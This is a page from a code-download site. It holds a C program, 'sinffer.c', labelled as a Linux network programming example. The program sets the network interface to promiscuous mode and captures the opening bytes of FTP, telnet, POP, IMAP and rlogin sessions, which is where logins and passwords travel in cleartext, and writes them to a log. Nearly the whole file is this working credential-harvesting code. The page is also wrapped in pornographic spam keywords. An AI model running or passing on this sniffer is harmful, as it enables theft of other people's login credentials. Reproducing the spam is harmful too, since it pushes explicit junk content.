亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? sinffer.c

?? LinuxNetProgramming Linux網絡編程基礎實例
?? C
字號:
#include <sys/types.h>

#include <sys/socket.h>

#include <sys/time.h>

#include <sys/ioctl.h>

#include <netinet/in.h>

#include <netdb.h>

#include <string.h>

#include <linux/if.h>

#include <signal.h>

#include <stdio.h>

#include <arpa/inet.h>

#include <linux/socket.h>

#include <linux/ip.h>

#include <linux/tcp.h>

#include <linux/if_ether.h>



int openintf(char *);

int read_tcp(int);

int filter(void);

int print_header(void);

int print_data(int, char *);

char *hostlookup(unsigned long int);

void clear_victim(void);

void cleanup(int);



struct etherpacket

{

   struct ethhdr eth;

   struct iphdr  ip;

   struct tcphdr tcp;

   char buff[8192];

}ep;



struct

{

   unsigned long      saddr;

   unsigned long      daddr;

   unsigned short     sport;

   unsigned short     dport;

   int                bytes_read;

   char               active;

   time_t             start_time;

} victim;



struct iphdr  *ip;

struct tcphdr *tcp;

int s;

FILE *fp;



#define CAPTLEN 512

#define TIMEOUT 30

#define TCPLOG "tcp.log"



int openintf(char *d)

{

   int fd;

   struct ifreq ifr;

   int s;

   fd=socket(AF_INET, SOCK_PACKET, htons(0x800));

   if(fd < 0)

   {

      perror("cant get SOCK_PACKET socket");

      exit(0);

   }

   strcpy(ifr.ifr_name, d);

   s=ioctl(fd, SIOCGIFFLAGS, &ifr);

   if(s < 0)

   {

      close(fd);

      perror("cant get flags");

      exit(0);

   }

   ifr.ifr_flags |= IFF_PROMISC;

   s=ioctl(fd, SIOCSIFFLAGS, &ifr);

   if(s < 0) perror("cant set promiscuous mode");

   return fd;

}



int read_tcp(int s)

{

   int x;

   while(1)

   {

      x=read(s, (struct etherpacket *)&ep, sizeof(ep));

      if(x > 1) 

      {

         if(filter()==0) continue;

         x=x-54;

         if(x < 1) continue;

         return x;

      }

   }

}



int filter(void)

{

   int p;

   p=0;

   if(ip->protocol != 6) return 0;

   if(victim.active != 0)   

      if(victim.bytes_read > CAPTLEN)

      {

         fprintf(fp, "\n----- [CAPLEN Exceeded]\n");

         clear_victim();

         return 0;

      }

   if(victim.active != 0)

      if(time(NULL) > (victim.start_time + TIMEOUT))

      {

         fprintf(fp, "\n----- [Timed Out]\n");

         clear_victim();

         return 0;

      }                                                                                                                  

   if(ntohs(tcp->dest)==21)  p=1; /* ftp */

   if(ntohs(tcp->dest)==23)  p=1; /* telnet */

   if(ntohs(tcp->dest)==110) p=1; /* pop3 */

   if(ntohs(tcp->dest)==109) p=1; /* pop2 */

   if(ntohs(tcp->dest)==143) p=1; /* imap2 */

   if(ntohs(tcp->dest)==513) p=1; /* rlogin */

   if(ntohs(tcp->dest)==106) p=1; /* poppasswd */

   if(victim.active == 0)

      if(p == 1)

         if(tcp->syn == 1)

         {

            victim.saddr=ip->saddr;

            victim.daddr=ip->daddr;

            victim.active=1;

            victim.sport=tcp->source;

            victim.dport=tcp->dest;

            victim.bytes_read=0;

            victim.start_time=time(NULL);

            print_header();

         }  

   if(tcp->dest != victim.dport) return 0;

   if(tcp->source != victim.sport) return 0;

   if(ip->saddr != victim.saddr) return 0;

   if(ip->daddr != victim.daddr) return 0;

   if(tcp->rst == 1) 

   {

      victim.active=0;

      alarm(0);

      fprintf(fp, "\n----- [RST]\n");

      clear_victim();

      return 0;

   }

   if(tcp->fin == 1) 

   {

      victim.active=0;

      alarm(0);

      fprintf(fp, "\n----- [FIN]\n");

      clear_victim();

      return 0;

   }

   return 1;

}



   

int print_header(void)

{

   fprintf(fp, "\n");

   fprintf(fp, "%s => ", hostlookup(ip->saddr));

   fprintf(fp, "%s [%d]\n", hostlookup(ip->daddr), ntohs(tcp->dest));   

}



int print_data(int datalen, char *data)

{

   int i=0;

   int t=0;

   

   victim.bytes_read=victim.bytes_read+datalen;

   for(i=0;i != datalen;i++)

   {

      if(data[i] == 13) { fprintf(fp, "\n"); t=0; }

      if(isprint(data[i])) {fprintf(fp, "%c", data[i]);t++;}

      if(t > 75) {t=0;fprintf(fp, "\n");}

   }

}





main(int argc, char **argv)

{

   s=openintf("eth0");

   ip=(struct iphdr *)(((unsigned long)&ep.ip)-2);

   tcp=(struct tcphdr *)(((unsigned long)&ep.tcp)-2);   

   signal(SIGHUP, SIG_IGN);

   signal(SIGINT, cleanup);

   signal(SIGTERM, cleanup);

   signal(SIGKILL, cleanup);

   signal(SIGQUIT, cleanup);

   if(argc == 2) fp=stdout;

   else fp=fopen(TCPLOG, "at");

   if(fp == NULL) { fprintf(stderr, "cant open log\n");exit(0);}

   clear_victim();

   for(;;)

   {

      read_tcp(s);

      if(victim.active != 0) print_data(htons(ip->tot_len)-sizeof(ep.ip)-sizeof(ep.tcp), ep.buff-2);

      fflush(fp);      

   }   

}



char *hostlookup(unsigned long int in)

{ 

   static char blah[1024];

   struct in_addr i;

   struct hostent *he;

   

   i.s_addr=in;

   he=gethostbyaddr((char *)&i, sizeof(struct in_addr),AF_INET);

   if(he == NULL) strcpy(blah, inet_ntoa(i));

   else strcpy(blah, he->h_name);

   return blah;

}



void clear_victim(void)

{

   victim.saddr=0;

   victim.daddr=0;

   victim.sport=0;

   victim.dport=0;

   victim.active=0;

   victim.bytes_read=0;

   victim.start_time=0;

}



void cleanup(int sig)

{

   fprintf(fp, "Exiting...\n");

   close(s);

   fclose(fp);

   exit(0);

}

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
久久亚洲综合av| 亚洲国产精品精华液网站| 中文字幕视频一区二区三区久| 亚洲精品一二三四区| 久久99国产精品尤物| 91免费国产在线| 久久精品欧美日韩| 亚洲v中文字幕| 91最新地址在线播放| 久久在线免费观看| 日韩黄色一级片| 在线观看www91| 国产精品久久久久久久久动漫 | 日韩一区二区三区视频| 亚洲视频一区二区在线| 国产乱色国产精品免费视频| 欧美日韩电影在线播放| 亚洲欧美日韩中文字幕一区二区三区| 麻豆91精品视频| 5858s免费视频成人| 一区二区激情视频| 91麻豆视频网站| 亚洲欧洲99久久| 不卡的av电影| 亚洲欧洲日韩一区二区三区| 国产激情偷乱视频一区二区三区| 91精品国产91久久久久久一区二区 | 99国产麻豆精品| 国产欧美1区2区3区| 国内精品不卡在线| 精品人在线二区三区| 免费高清在线一区| 4438x亚洲最大成人网| 亚洲国产色一区| 欧美猛男gaygay网站| 亚洲一级电影视频| 欧美日韩精品一区二区三区四区| 一区二区三区成人| 欧美日韩国产综合一区二区三区| 亚洲最新视频在线播放| 日本精品一区二区三区高清| 亚洲视频一二区| 欧美专区日韩专区| 日韩激情一区二区| 日韩欧美一区二区三区在线| 日韩成人免费在线| 久久综合久久综合久久| 国产不卡视频在线播放| 国产精品久久久久久久久搜平片| 99久久亚洲一区二区三区青草| 国产精品美女久久福利网站| 91色乱码一区二区三区| 一区av在线播放| 7777精品伊人久久久大香线蕉 | 国产精品久久久久久久久免费相片| 不卡一卡二卡三乱码免费网站| 亚洲欧洲av一区二区三区久久| 91麻豆福利精品推荐| 亚洲永久精品大片| 日韩一级片在线播放| 国产精品中文字幕日韩精品| 国产精品伦理在线| 色婷婷久久久综合中文字幕| 无码av免费一区二区三区试看| 欧美第一区第二区| 成人网页在线观看| 亚洲国产日日夜夜| 欧美va亚洲va| 91日韩精品一区| 奇米一区二区三区| 国产精品久久久久久久久免费丝袜 | 久久精品国产久精国产| 欧美激情综合五月色丁香 | 成人精品亚洲人成在线| 亚洲精品国产a| 久久久久久久久久久黄色| 91在线精品一区二区| 日韩av一区二区三区四区| 欧美激情一区二区三区全黄| 欧美日韩日日摸| 国产精品白丝jk白祙喷水网站| 亚洲自拍偷拍av| 国产色91在线| 日韩一级完整毛片| 欧美最新大片在线看| 国产成人福利片| 日韩精品一二区| 亚洲欧美电影一区二区| 精品国产sm最大网站免费看| 欧美性三三影院| 处破女av一区二区| 久久国产精品一区二区| 亚洲在线视频免费观看| 国产精品第四页| 久久久久久久久蜜桃| 制服丝袜亚洲网站| 91国产福利在线| 99久久精品久久久久久清纯| 国产乱一区二区| 九九九久久久精品| 免费欧美在线视频| 日韩不卡在线观看日韩不卡视频| 一区二区三区日韩欧美精品 | 极品美女销魂一区二区三区| 午夜欧美在线一二页| 亚洲狼人国产精品| 最新国产精品久久精品| 国产欧美日韩在线| 久久精品亚洲国产奇米99| 26uuu亚洲综合色欧美| 欧美一区二区在线看| 欧美精品一级二级| 欧洲另类一二三四区| 日本精品一区二区三区高清| 色综合久久天天| 91视频免费播放| 色综合一区二区三区| 色悠悠久久综合| 91麻豆国产在线观看| 99精品在线观看视频| 成人一区二区三区| 99久久久无码国产精品| 99re成人精品视频| 色综合夜色一区| 在线区一区二视频| 91.com视频| 精品美女一区二区三区| 欧美精品一区二区三区在线播放| 欧美大肚乱孕交hd孕妇| 久久亚洲一区二区三区四区| 国产亚洲人成网站| 国产精品的网站| 亚洲国产成人tv| 麻豆精品国产传媒mv男同| 麻豆91在线观看| 粉嫩aⅴ一区二区三区四区五区| 波多野结衣在线aⅴ中文字幕不卡| av网站一区二区三区| 色伊人久久综合中文字幕| 欧美色精品天天在线观看视频| 欧美伦理影视网| 久久久午夜精品| 亚洲人xxxx| 蜜桃av噜噜一区| 97精品超碰一区二区三区| 欧美色精品在线视频| 欧美精品一区二区三区高清aⅴ| 国产精品天美传媒| 亚洲超碰97人人做人人爱| 国产主播一区二区三区| 91麻豆swag| 亚洲精品在线观| 一级女性全黄久久生活片免费| 日本伊人精品一区二区三区观看方式 | 国产乱码精品一区二区三区av | 亚洲激情一二三区| 久久国产尿小便嘘嘘| 99精品国产热久久91蜜凸| 欧美顶级少妇做爰| 欧美国产欧美亚州国产日韩mv天天看完整 | 国产精品中文字幕日韩精品| 91网页版在线| 日韩视频在线观看一区二区| 久久久精品国产免大香伊| 亚洲大型综合色站| 成人久久视频在线观看| 制服视频三区第一页精品| 国产精品国产三级国产有无不卡| 日本网站在线观看一区二区三区| 国产99久久久久| 337p亚洲精品色噜噜狠狠| 国产精品国产三级国产a| 另类小说一区二区三区| 欧美性一区二区| 国产精品传媒视频| 国产精品自在欧美一区| 欧美妇女性影城| 亚洲激情在线播放| 成人精品高清在线| 久久只精品国产| 麻豆精品一区二区三区| 欧美无砖砖区免费| 亚洲欧美日韩一区| av亚洲精华国产精华精| 国产欧美一区二区精品久导航| 美女视频免费一区| 欧美一卡二卡在线| 天天色综合天天| 欧美午夜精品免费| 亚洲一区免费在线观看| 日本伦理一区二区| 亚洲蜜臀av乱码久久精品蜜桃| 成人精品视频一区二区三区| 久久久久高清精品| 国产精品资源在线看| 91精品国产综合久久精品 | 亚洲国产成人私人影院tom| 国模少妇一区二区三区| 精品国产乱码91久久久久久网站| 蜜臀精品一区二区三区在线观看|